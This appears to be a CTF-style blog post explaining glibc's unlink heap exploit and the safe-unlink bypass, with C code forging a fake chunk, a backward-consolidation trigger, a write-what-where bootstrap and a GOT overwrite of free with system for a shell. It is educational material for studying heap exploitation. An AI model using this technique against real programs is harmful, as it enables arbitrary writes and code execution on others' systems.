algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

unsafe unlink (and the safe-unlink bypass)

2026-06-125 min readheap pwn glibc

The doubly-linked bins (unsorted, small, large) splice chunks out with the unlink macro. It's four pointer operations, and two of them are writes through attacker-reachable fields. Forge a chunk's fd/bk, get it unlinked, and you turn a heap overflow into a write — no hook, no leak of a code pointer, just the list eating itself.

target./unlink
arch
amd64-64-little
libc
2.27
technique
backward consolidation -> unlink() -> overwrite a known global
requires
a global/known pointer that holds the chunk's own address

the four operations#

This is unlink, stripped to the moves that matter:

glibc malloc.c — unlink, abridgedc
1
2
3
4
5
FD = P->fd;                       // P's forward pointer  (P+0x10)
BK = P->bk;                       // P's backward pointer (P+0x18)
// ... the safe-unlink check goes here (see below) ...
FD->bk = BK;                      // *(FD + 0x18) = BK
BK->fd = FD;                      // *(BK + 0x10) = FD

Control P->fd and P->bk and those last two lines are two arbitrary-ish writes: *(fd + 0x18) = bk and *(bk + 0x10) = fd. The original (pre-2004) attack just pointed fd/bk at a GOT entry and overwrote it. Easy — and long dead.

the check that killed it#

glibc has guarded unlink for two decades with:

the safe-unlink checkc
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr ("corrupted double-linked list");

To unlink P, its forward neighbour must point back at it (FD->bk == P) and its backward neighbour must point forward at it (BK->fd == P). You can't just aim fd/bk at the GOT anymore — those addresses don't point back at P.

the bypass: point the writes at a pointer to yourself#

The escape hatch is when the program keeps a global pointer holding the chunk's own address — which most note/heap challenges do. Call it ptr. Build a fake chunk header inside the chunk ptr refers to, and set:

fd=&ptr0x18,bk=&ptr0x10

Now walk the check. FD->bk reads *(\&ptr - 0x18 + 0x18) = *(\&ptr) = ptr, and BK->fd reads *(\&ptr - 0x10 + 0x10) = *(\&ptr) = ptr. Since ptr holds the fake chunk's address, both equal P — the check passes. The fake header in a 0x90 chunk:

fake chunk header, built over ptr's own datahex
00000000  00 00 00 00 00 00 00 00  91 00 00 00 00 00 00 00  |................|
00000010  e8 5f 60 55 55 55 00 00  f0 5f 60 55 55 55 00 00  |._`UUU..._`UUU..|

(fd = &ptr-0x18, bk = &ptr-0x10, both pointing just below the global.)

trigger it with a backward consolidation#

You need unlink to fire on the fake chunk. The cleanest trigger is freeing the next physical chunk after forging its prev_size and clearing its PREV_INUSE, so glibc thinks the previous chunk (your fake) is free and consolidates backward into it:

prepping the next chunk so free() consolidates into the fakediff
1
2
3
4
5
 // chunk1 sits right after the fake chunk
-chunk1.prev_size = <real>
-chunk1.size      = 0x91          // PREV_INUSE set: "prev chunk in use"
+chunk1.prev_size = 0x90          // = the fake chunk's size, to reach its header
+chunk1.size      = 0x90          // PREV_INUSE cleared: "prev chunk is FREE"
unlink.c — the whole setupc
ptr = malloc(0x88);              // chunk0; `ptr` is the global the program keeps
char *c1 = malloc(0x88);         // chunk1, physically after chunk0

ptr[1] = 0x90;                   // fake chunk size
ptr[2] = (uint64_t)&ptr - 0x18;  // fake fd
ptr[3] = (uint64_t)&ptr - 0x10;  // fake bk

((uint64_t*)c1)[-2] = 0x90;      // chunk1 prev_size -> reach the fake header
((uint64_t*)c1)[-1] &= ~1UL;     // clear chunk1 PREV_INUSE

free(c1);                        // backward consolidation -> unlink(fake)
// post-unlink:  ptr == &ptr - 0x18

what you get#

After the unlink, the two writes leave ptr = &ptr - 0x18. The global now points just below itself, so writing through it overwrites itself — the textbook "write-what-where bootstrap":

c
ptr[3] = target;                 // ptr[3] lands on &ptr -> ptr = target
ptr[0] = value;                  // now ptr -> target, so this writes `value` there

From here it's the usual end-game: point ptr at a GOT entry, __free_hook, or a saved return address and write your gadget.

the win

Overwrite the GOT entry for free (Partial RELRO) with system, then free a chunk holding /bin/sh:

txt
segfault{unl1nk_th3_l1nk3d_l1st}

the offsets are merciless

0x10 and 0x18 here are offsetof(fd) and offsetof(bk); the 0x90s must match your real chunk size; and &ptr is a static/global address (so a no-PIE binary, or you need a leak). One byte off and you get corrupted double-linked list or a SIGSEGV. Single-step free(c1) in pwndbg and watch ptr change — don't compute it blind.

modern status#

The unlink check is permanent, so the bypass (this post) is the real technique now — and it still works wherever a program hands you a known pointer to your own chunk and an overflow into the adjacent chunk's size. On tcache-heavy modern glibc you'll more often reach for tcache poisoning, but unlink is the one to understand cold: it's the clearest demonstration that a free chunk is just a node, and the allocator trusts its links. Next, Part 5, those links write a libc pointer for you — the unsorted bin attack.